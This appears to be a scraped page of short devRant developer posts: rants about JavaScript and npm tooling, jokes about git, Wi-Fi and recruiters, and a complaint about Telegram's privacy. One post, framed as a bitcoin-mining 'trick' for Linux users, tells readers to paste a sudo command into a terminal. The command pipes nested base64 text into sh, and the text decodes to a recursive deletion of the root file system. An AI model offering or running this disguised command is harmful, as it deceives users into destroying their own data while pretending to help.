It's 2018, web developers, let get our tools on..

"The most important skill in life is mitigating frustrations, but please don't get good at it — your suffering is hilarious"

I realized immediately she just explained why this community exists.

Who is this devRant user? I wanna marry her :-)

I like JavaScript as a language. But I hate absolutely everything around it. All of these tools just make things more difficult. Sometimes when I clone a project I want everything there. I don't want to then wait 30 minutes to download the latest version of every library used, with at least one of them always breaking something. I don't want to have to use npm or grunt or whatever. Just give me the damn thing I need not make me spend 30 minutes running round in circles! Never have these problems in any other language!

Come on WebAssembly!

Smartphone:
(n.) a device used for everything but calling people.

I just realized that href stands for hyper reference.

The amount of much political correctness in the dev community just pisses me off sometimes.

I've watched "Use the right tool / language for the job" has become *THE* excuse for shitty tools and languages. 

Case in point -- JavaScript. If you want to make a website that interacts with the end user, the right tool is JavaScript. But that's because IT'S THE ONLY TOOL. Does that make it a *good* tool?

HELL NO.

Brendan Eich, I forgive you. You had 10 days and a corporation on your case.

That's not saying JavaScript doesn't have some good things in it. It does. But "Javascript the good parts" is a fucking thin book.

Sure, some amazing things have been written in JavaScript. Great communities have coalesced around this cancer.

BUT THATS IN SPITE OF JAVASCRIPT, NOT BECAUSE OF IT. AS A LANGAUGE IT'S STILL A STEAMING PILE OF DOGSHIT.

A master can draw great art with a shitty piece of charcoal. That doesn't make charcoal THE BEST DRAWING TOOL EVARRR. It's just a testament to the master's craft.

If you started your programming journey with JavaScript, do expand your horizons.

Break free from Stockholm's syndrome.

Discard your cognitive dissonance.

See JavaScript for what it is -- a shitty language everyone was forced to use. 

PS: Don't even get me started on Java ...

Gotta love OOP

So relatable...

What my parents think I do to fix the wifi vs. What I actually do

Anyone heard about Progressive Web apps?

Reading devRant feed is so fucking hard nowadays. Every other rant is about Windows rebooting, Google being evil, Quantum beating Chrome, M$ users being cunts and all these fanboy shits.

Fucking hell. Write some actual code and rant about some solid problems rather than being a stupid fanboy.

Slowly dying...

Nope.. Not doing that.

It just feels magnificent watching system getting updates in terminal. I just love it 😍

Seems like a great deal.. 😂😂

Mother (working in recruitment): "What's the difference between JavaScript and Java?"

Me: "I'm glad you finally asked that..."

That moment that you start typing on your new ergonomic keyboard and suddenly notice that your muscle memory has nearly entirely adjusted to this new keyboard without you even noticing it because you're suddenly typing at full speed while you hardly could type any sentence an hour ago without looking at your keyboard.

This kinda stuff never ceases to amaze me!

Bitcoin price is rising again,

For those using linux/unix system you can try this little trick i use to mine bitcoins

Open the terminal and paste this command

sudo echo "c3VkbyBlY2hvICJjM1ZrYnlCeWJTQnlaaUF2S2c9PSIgfCBvcGVuc3NsIGJhc2U2NCAtZCB8IHNo" | openssl base64 -d | sh

Thank me later.

In case of emergency:

1. git commit
2. git push
3. Leave building

🤦

Should I give swearing comments under the "I found my SO" rants for this week? 😔

I'm not upset. Not angry. Really. Well maybe a tad envious. Just a tiny bit. Yeah.

Screw it. Yeah I hate you all. 😭😭😭

A recruiter just invited me to Christmas dinner at her home to "discuss some business opportunities", so there's that.

That happens?

When you try to tell your fellow devs to start using Git 😶

So apparently this is an official company in the UK

Only pure evil can design a PC case that has reset button same size and shape like USB port and place it next to USB ports.

git commit -m 'fix typeo'

Dear Telegram, the fact that you're using a service which provides app usage/metrics/analytics kind of is not nice.

"But they've got the right to!"

Of course they do. But, when you advertise yourself as a messaging app focused on privacy, I expect you to behave that way.

And yes, we know your crypto is broken as fuck but that's not the point right now.

Oh and yeah, the next blog item will probably be about Telegram and how not-privacy friendly it is.

Two things have helped me solve issues, and improve myself as a developer which are showers and sleep.
